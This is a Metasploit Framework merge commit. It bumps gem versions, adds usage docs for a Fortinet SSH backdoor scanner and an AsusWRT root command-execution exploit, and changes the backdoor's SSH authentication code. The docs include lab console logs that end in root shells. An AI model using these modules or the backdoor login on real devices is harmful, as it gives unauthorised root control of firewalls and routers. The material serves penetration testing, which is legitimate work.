Skip to content

Commit 1cee532

Browse files
committed
Merge branch 'rapid7/master' into goliath
2 parents e396dba + 65b0d95 commit 1cee532

File tree

11 files changed

+353
-40
lines changed

11 files changed

+353
-40
lines changed

Gemfile.lock

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ PATH
5959
rex-text
6060
rex-zip
6161
ruby-macho
62-
ruby_smb
62+
ruby_smb (= 0.0.18)
6363
rubyntlm
6464
rubyzip
6565
sqlite3
@@ -127,11 +127,11 @@ GEM
127127
railties (>= 3.0.0)
128128
faker (1.8.7)
129129
i18n (>= 0.7)
130-
faraday (0.13.1)
130+
faraday (0.14.0)
131131
multipart-post (>= 1.2, < 3)
132132
filesize (0.1.1)
133133
fivemat (1.3.5)
134-
google-protobuf (3.5.1)
134+
google-protobuf (3.5.1.2)
135135
googleapis-common-protos-types (1.0.1)
136136
google-protobuf (~> 3.0)
137137
googleauth (0.6.2)
@@ -142,12 +142,12 @@ GEM
142142
multi_json (~> 1.11)
143143
os (~> 0.9)
144144
signet (~> 0.7)
145-
grpc (1.8.3)
145+
grpc (1.9.1)
146146
google-protobuf (~> 3.1)
147147
googleapis-common-protos-types (~> 1.0.0)
148148
googleauth (>= 0.5.1, < 0.7)
149149
hashery (2.1.2)
150-
i18n (0.9.1)
150+
i18n (0.9.5)
151151
concurrent-ruby (~> 1.0)
152152
jsobfu (0.4.2)
153153
rkelly-remix
@@ -157,7 +157,7 @@ GEM
157157
logging (2.2.2)
158158
little-plugger (~> 1.1)
159159
multi_json (~> 1.10)
160-
loofah (2.1.1)
160+
loofah (2.2.0)
161161
crass (~> 1.0.2)
162162
nokogiri (>= 1.5.9)
163163
memoist (0.16.0)
@@ -169,7 +169,7 @@ GEM
169169
activemodel (~> 4.2.6)
170170
activesupport (~> 4.2.6)
171171
railties (~> 4.2.6)
172-
metasploit-credential (2.0.12)
172+
metasploit-credential (2.0.13)
173173
metasploit-concern
174174
metasploit-model
175175
metasploit_data_models
@@ -196,7 +196,7 @@ GEM
196196
metasploit_payloads-mettle (0.3.7)
197197
method_source (0.9.0)
198198
mini_portile2 (2.3.0)
199-
minitest (5.11.1)
199+
minitest (5.11.3)
200200
mqtt (0.5.0)
201201
msgpack (1.2.2)
202202
multi_json (1.13.1)
@@ -205,7 +205,7 @@ GEM
205205
net-ssh (4.2.0)
206206
network_interface (0.0.2)
207207
nexpose (7.2.0)
208-
nokogiri (1.8.1)
208+
nokogiri (1.8.2)
209209
mini_portile2 (~> 2.3.0)
210210
octokit (4.8.0)
211211
sawyer (~> 0.8.0, >= 0.5.3)
@@ -216,7 +216,7 @@ GEM
216216
pcaprub
217217
patch_finder (1.0.2)
218218
pcaprub (0.12.4)
219-
pdf-reader (2.0.0)
219+
pdf-reader (2.1.0)
220220
Ascii85 (~> 1.0.0)
221221
afm (~> 0.2.1)
222222
hashery (~> 2.0)
@@ -231,7 +231,7 @@ GEM
231231
pry (0.11.3)
232232
coderay (~> 1.1.0)
233233
method_source (~> 0.9.0)
234-
public_suffix (3.0.1)
234+
public_suffix (3.0.2)
235235
rack (1.6.8)
236236
rack-protection (1.5.3)
237237
rack
@@ -324,7 +324,7 @@ GEM
324324
rspec-support (~> 3.7.0)
325325
rspec-rerun (1.1.0)
326326
rspec (~> 3.0)
327-
rspec-support (3.7.0)
327+
rspec-support (3.7.1)
328328
ruby-macho (1.1.0)
329329
ruby-rc4 (0.1.5)
330330
ruby_smb (0.0.18)
@@ -361,7 +361,7 @@ GEM
361361
tilt (2.0.7)
362362
timecop (0.9.1)
363363
ttfunk (1.5.1)
364-
tzinfo (1.2.4)
364+
tzinfo (1.2.5)
365365
thread_safe (~> 0.1)
366366
tzinfo-data (1.2018.3)
367367
tzinfo (>= 1.0.0)
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
## Intro
2+
3+
This module scans for the Fortinet SSH backdoor and creates sessions.
4+
5+
## Setup
6+
7+
1. `git clone https://github.com/nixawk/labs`
8+
2. Import `FortiGate-Backdoor-VM/FortiGate-VM.ovf` into VMware
9+
3. <http://help.fortinet.com/fweb/580/Content/FortiWeb/fortiweb-admin/network_settings.htm>
10+
11+
## Usage
12+
13+
```
14+
msf5 > use auxiliary/scanner/ssh/fortinet_backdoor
15+
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > set rhosts 192.168.212.0/24
16+
rhosts => 192.168.212.0/24
17+
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > set threads 100
18+
threads => 100
19+
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > run
20+
21+
[*] Scanned 54 of 256 hosts (21% complete)
22+
[+] 192.168.212.128:22 - Logged in as Fortimanager_Access
23+
[*] Scanned 65 of 256 hosts (25% complete)
24+
[*] Scanned 78 of 256 hosts (30% complete)
25+
[*] Command shell session 1 opened (192.168.212.1:40605 -> 192.168.212.128:22) at 2018-02-21 21:35:11 -0600
26+
[*] Scanned 104 of 256 hosts (40% complete)
27+
[*] Scanned 141 of 256 hosts (55% complete)
28+
[*] Scanned 154 of 256 hosts (60% complete)
29+
[*] Scanned 180 of 256 hosts (70% complete)
30+
[*] Scanned 205 of 256 hosts (80% complete)
31+
[*] Scanned 240 of 256 hosts (93% complete)
32+
[*] Scanned 256 of 256 hosts (100% complete)
33+
[*] Auxiliary module execution completed
34+
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > sessions -1
35+
[*] Starting interaction with 1...
36+
37+
FortiGate-VM # get system status
38+
Version: FortiGate-VM v5.0,build0228,130809 (GA Patch 4)
39+
Virus-DB: 16.00560(2012-10-19 08:31)
40+
Extended DB: 1.00000(2012-10-17 15:46)
41+
Extreme DB: 1.00000(2012-10-17 15:47)
42+
IPS-DB: 4.00345(2013-05-23 00:39)
43+
IPS-ETDB: 0.00000(2000-00-00 00:00)
44+
Serial-Number: FGVM00UNLICENSED
45+
Botnet DB: 1.00000(2012-05-28 22:51)
46+
License Status: Evaluation license expired
47+
Evaluation License Expires: Thu Jan 28 13:05:41 2016
48+
BIOS version: 04000002
49+
Log hard disk: Need format
50+
Hostname: FortiGate-VM
51+
Operation Mode: NAT
52+
Current virtual domain: root
53+
Max number of virtual domains: 10
54+
Virtual domains status: 1 in NAT mode, 0 in TP mode
55+
Virtual domain configuration: disable
56+
FIPS-CC mode: disable
57+
Current HA mode: standalone
58+
Branch point: 228
59+
Release Version Information: GA Patch 4
60+
System time: Wed Feb 21 13:13:43 2018
61+
62+
FortiGate-VM #
63+
```
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
## Description
2+
3+
This module exploits a vulnerability in AsusWRT to execute arbitrary commands as `root`.
4+
5+
6+
## Vulnerable Application
7+
8+
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to perform a HTTP `POST` in certain cases. This can be combined with another vulnerability in the VPN configuration upload routine that sets NVRAM configuration variables directly from the `POST` request to enable a special command mode.
9+
10+
This command mode can then be abused by sending a UDP packet to the infosvr service, which is running on port UDP 9999 on the LAN interface, to launch the Telnet daemon on a random port and gain an interactive remote shell as the `root` user.
11+
12+
This module was tested successfully with a RT-AC68U running AsusWRT version 3.0.0.4.380.7743.
13+
14+
Numerous ASUS models are reportedly affected, but untested.
15+
16+
17+
## Verification Steps
18+
19+
1. Start `msfconsole`
20+
2. `use exploits/linux/http/asuswrt_lan_rce`
21+
3. `set RHOST [IP]`
22+
4. `run`
23+
5. You should get a *root* session
24+
25+
26+
## Options
27+
28+
**ASUSWRTPORT**
29+
30+
AsusWRT HTTP portal port (default: `80`)
31+
32+
33+
## Scenarios
34+
msf > use exploit/linux/http/asuswrt_lan_rce
35+
msf exploit(linux/http/asuswrt_lan_rce) > set rhost 192.168.132.205
36+
rhost => 192.168.132.205
37+
msf exploit(linux/http/asuswrt_lan_rce) > run
38+
39+
[+] 192.168.132.205:9999 - Successfully set the ateCommand_flag variable.
40+
[*] 192.168.132.205:9999 - Packet sent, let's sleep 10 seconds and try to connect to the router on port 51332
41+
[+] 192.168.132.205:9999 - Success, shell incoming!
42+
[*] Found shell.
43+
[*] Command shell session 1 opened (192.168.135.111:36597 -> 192.168.132.205:51332) at 2018-01-25 14:51:12 -0600
44+
45+
id
46+
id
47+
/bin/sh: id: not found
48+
/ # cat /proc/cpuinfo
49+
cat /proc/cpuinfo
50+
system type : Broadcom BCM53572 chip rev 1 pkg 8
51+
processor : 0
52+
cpu model : MIPS 74K V4.9
53+
BogoMIPS : 149.91
54+
wait instruction : no
55+
microsecond timers : yes
56+
tlb_entries : 32
57+
extra interrupt vector : no
58+
hardware watchpoint : yes
59+
ASEs implemented : mips16 dsp
60+
shadow register sets : 1
61+
VCED exceptions : not available
62+
VCEI exceptions : not available
63+
64+
unaligned_instructions : 0
65+
dcache hits : 2147483648
66+
dcache misses : 0
67+
icache hits : 2147483648
68+
icache misses : 0
69+
instructions : 2147483648
70+
/ #

lib/msf/core/exploit/fortinet.rb

Lines changed: 26 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
# -*- coding: binary -*-
22

3+
# https://www.ietf.org/rfc/rfc4252.txt
34
# https://www.ietf.org/rfc/rfc4256.txt
45

56
require 'net/ssh'
@@ -11,21 +12,21 @@ class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentica
1112
USERAUTH_INFO_RESPONSE = 61
1213

1314
def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
14-
debug { 'Sending SSH_MSG_USERAUTH_REQUEST' }
15+
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (password)' }
1516

1617
send_message(userauth_request(
1718
=begin
18-
string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
19-
string service name (US-ASCII)
20-
string "keyboard-interactive" (US-ASCII)
21-
string language tag (as defined in [RFC-3066])
22-
string submethods (ISO-10646 UTF-8)
19+
string user name
20+
string service name
21+
string "password"
22+
boolean FALSE
23+
string plaintext password in ISO-10646 UTF-8 encoding [RFC3629]
2324
=end
2425
username,
2526
service_name,
26-
'keyboard-interactive',
27-
'',
28-
''
27+
'password',
28+
false,
29+
password || ''
2930
))
3031

3132
loop do
@@ -37,7 +38,22 @@ def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
3738
return true
3839
when USERAUTH_FAILURE
3940
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
40-
return false
41+
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (keyboard-interactive)' }
42+
43+
send_message(userauth_request(
44+
=begin
45+
string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
46+
string service name (US-ASCII)
47+
string "keyboard-interactive" (US-ASCII)
48+
string language tag (as defined in [RFC-3066])
49+
string submethods (ISO-10646 UTF-8)
50+
=end
51+
username,
52+
service_name,
53+
'keyboard-interactive',
54+
'',
55+
''
56+
))
4157
when USERAUTH_INFO_REQUEST
4258
debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }
4359

lib/msf/core/modules/external/python/metasploit/module.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ def report_vuln(ip, name, **opts):
2929

3030

3131
def run(metadata, module_callback):
32-
req = json.loads(os.read(0, 10000))
32+
req = json.loads(os.read(0, 10000).decode("utf-8"))
3333
if req['method'] == 'describe':
3434
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})
3535
elif req['method'] == 'run':

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -127,7 +127,7 @@ Gem::Specification.new do |spec|
127127
spec.add_runtime_dependency 'mqtt'
128128
spec.add_runtime_dependency 'net-ssh'
129129
spec.add_runtime_dependency 'bcrypt_pbkdf'
130-
spec.add_runtime_dependency 'ruby_smb'
130+
spec.add_runtime_dependency 'ruby_smb', '0.0.18'
131131

132132
#
133133
# REX Libraries

modules/auxiliary/scanner/http/owa_login.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -232,7 +232,7 @@ def try_user_pass(opts)
232232
# No password change required moving on.
233233
# Check for valid login but no mailbox setup
234234
print_good("server type: #{res.headers["X-FEServer"]}")
235-
if res.headers['location'] =~ /owa/
235+
if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/
236236
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")
237237
report_cred(
238238
ip: res.peerinfo['addr'],

0 commit comments

Comments
 (0)